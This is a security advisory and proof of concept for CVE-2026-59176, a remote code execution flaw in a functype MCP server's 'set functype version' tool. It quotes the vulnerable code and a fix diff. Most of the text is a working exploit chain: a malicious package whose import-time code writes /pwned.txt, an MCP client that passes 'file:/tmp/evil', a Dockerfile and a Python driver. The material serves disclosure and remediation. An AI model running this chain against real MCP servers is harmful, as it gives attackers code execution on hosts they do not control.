CVE-2026-59176

// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
 version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),

// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
 const spec = `functype@${args.version}`
 try {
  execFileSync("pnpm", ["add", spec], { cwd: PROJECT ROOT, stdio: "pipe", timeout: 60 000 })

// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
 const resolvedPath = require.resolve("functype/cli")
 cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}

mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set functype version
");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL INTERFACES = {};
export const VERSION = "1.0.0";
EOF

TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build

cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk

cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
 command: "node",
 args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
 env: { ...process.env, TRANSPORT TYPE: "stdio" },
});

await client.connect(transport);
const result = await client.callTool({
 name: "set functype version",
 arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF

REPO="$TMP/functype" node exploit.mjs

cat /pwned.txt
# Expected output: RCE: mcp import-time code execution via set functype version

[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set functype version
[evil-payload] Arbitrary code executed via functype/cli dynamic import

+const SAFE FUNCTYPE VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?d+(?:.d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+ const trimmed = version.trim()
+ return trimmed === version && SAFE FUNCTYPE VERSION.test(trimmed) && !/[/:@]/.test(trimmed)
+}

 execute: async (args) => {
- const spec = `functype@${args.version}`
+ if (!isSafeFunctypeVersion(args.version)) {
+  return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+ }
+ const spec = `functype@${args.version}`
  try {
-  execFileSync("pnpm", ["add", spec], { cwd: PROJECT ROOT, stdio: "pipe", timeout: 60 000 })
+  execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT ROOT, stdio: "pipe", timeout: 60 000 })

# Dockerfile for VULN-001: MCP set functype version Package Alias RCE
#
# Build context: reports/npmAI 684 jordanburke functype/
#  COPY repo/    -> /workspace/functype/  (victim monorepo)
#  COPY vuln-001/  -> supporting PoC files
#
# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
# Run:  docker run --rm vuln001-functype-rce
#
# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.

FROM node:24-slim

# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
RUN npm install -g pnpm@11.7.0 --quiet

# ── Victim workspace ──────────────────────────────────────────────────────────
WORKDIR /workspace/functype
COPY repo/ ./

# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
# caused by running on a different pnpm minor than the one that generated the
# lockfile; the installed versions are still constrained by the lockfile
# specifiers for the packages we care about.
RUN pnpm install --no-frozen-lockfile

# Build functype first (mcp-server externals functype at build time).
RUN pnpm -F functype build

# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
RUN pnpm -F functype-mcp-server build

# ── Attacker-controlled evil package ─────────────────────────────────────────
# /evil/cli.js writes /pwned.txt when dynamically imported.
COPY vuln-001/evil/ /evil/

# ── MCP exploit client ────────────────────────────────────────────────────────
WORKDIR /client
RUN npm init -y --quiet && 
  npm pkg set type=module && 
  npm install @modelcontextprotocol/sdk@1.29.0 --quiet
COPY vuln-001/client/exploit.mjs ./exploit.mjs

# Default entrypoint: run the exploit and exit 0 on success.
CMD ["node", "/client/exploit.mjs"]

#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set functype version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).

Attack chain:
 1. Attacker calls MCP tool set functype version with version="file:/evil"
 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
 3. Evil package is installed as the functype alias in mcp-server's node modules
 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)

Usage:
 python3 poc.py [--build-only]

Requirements:
 - Docker daemon running
 - Build context at parent directory of this file's directory
"""

import subprocess
import sys
import json
import os
import argparse

VULN DIR = os.path.dirname(os.path.abspath( file ))
REPORT DIR = os.path.dirname(VULN DIR)
IMAGE NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN DIR, "Dockerfile")
RESULT FILE = os.path.join(VULN DIR, "phase2 result.json")

BUILD CMD = ["docker", "build", "-t", IMAGE NAME, "-f", DOCKERFILE, REPORT DIR]
RUN CMD = ["docker", "run", "--rm", IMAGE NAME]


def run(cmd, timeout=None, **kwargs):
  """Run a command and return CompletedProcess with combined output."""
  return subprocess.run(
    cmd,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True,
    timeout=timeout,
    **kwargs,
  )


def write result(passed, verdict, reason, evidence):
  result = {
    "passed": passed,
    "verdict": verdict,
    "reason": reason,
    "build command": " ".join(BUILD CMD),
    "run command": " ".join(RUN CMD),
    "poc command": f"python3 {os.path.basename( file )}",
    "evidence": evidence,
    "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
  }
  with open(RESULT FILE, "w", encoding="utf-8") as f:
    json.dump(result, f, indent=2, ensure ascii=False)
  print(f"[poc] Result written to {RESULT FILE}")
  print(f"[poc] verdict={verdict} passed={passed}")


def main():
  parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
  parser.add argument("--build-only", action="store true", help="Only build the image, do not run")
  args = parser.parse args()

  # ── Build ─────────────────────────────────────────────────────────────────
  print("[poc] Building Docker image (this may take a few minutes)...")
  print(f"[poc] Build command: {' '.join(BUILD CMD)}")

  try:
    build = run(BUILD CMD, timeout=900)
  except subprocess.TimeoutExpired:
    msg = "Docker build timed out after 900 seconds"
    print(f"[poc] ERROR: {msg}")
    write result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
    sys.exit(2)

  if build.returncode != 0:
    tail = (build.stdout + "
" + build.stderr)[-3000:]
    print("[poc] Build FAILED:")
    print(tail)
    write result(
      False,
      "FAIL",
      "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
      f"BUILD EXIT {build.returncode}
{tail}",
    )
    sys.exit(1)

  print("[poc] Build succeeded.")

  if args.build only:
    print("[poc] --build-only flag set; skipping run.")
    sys.exit(0)

  # ── Run ───────────────────────────────────────────────────────────────────
  print(f"[poc] Running exploit container: {' '.join(RUN CMD)}")

  try:
    run result = run(RUN CMD, timeout=180)
  except subprocess.TimeoutExpired:
    msg = "Container run timed out after 180 seconds"
    print(f"[poc] ERROR: {msg}")
    write result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
    sys.exit(2)

  stdout = run result.stdout or ""
  stderr = run result.stderr or ""
  combined = stdout + "
" + stderr

  print("=" * 60)
  print("STDOUT:")
  print(stdout)
  print("STDERR:")
  print(stderr)
  print(f"EXIT CODE: {run result.returncode}")
  print("=" * 60)

  # Success criteria: exit 0 AND exploit succeeded message present
  exploit succeeded = "EXPLOIT SUCCEEDED" in combined
  passed = run result.returncode == 0 and exploit succeeded

  if passed:
    # Extract key evidence lines
    evidence lines = [
      line for line in combined.splitlines()
      if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
    ]
    evidence = "
".join(evidence lines) if evidence lines else combined[-1000:]

    write result(
      True,
      "PASS",
      (
        "컨테이너 내 /pwned.txt 생성 확인: MCP set functype version 도구에 "
        'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
        "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
      ),
      evidence,
    )
    print("[poc] === PASS: exploit reproduced ===")
    sys.exit(0)

  else:
    # Distinguish failure modes
    if not exploit succeeded and run result.returncode == 0:
      verdict = "INCOMPLETE"
      reason = (
        "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
        "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
        "node modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
      )
    else:
      verdict = "FAIL"
      reason = (
        f"컨테이너 종료 코드 {run result.returncode}. "
        "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
      )

    write result(False, verdict, reason, combined[-2000:])
    print(f"[poc] === {verdict}: exploit did not reproduce ===")
    sys.exit(1)


if  name  == " main ":
  main()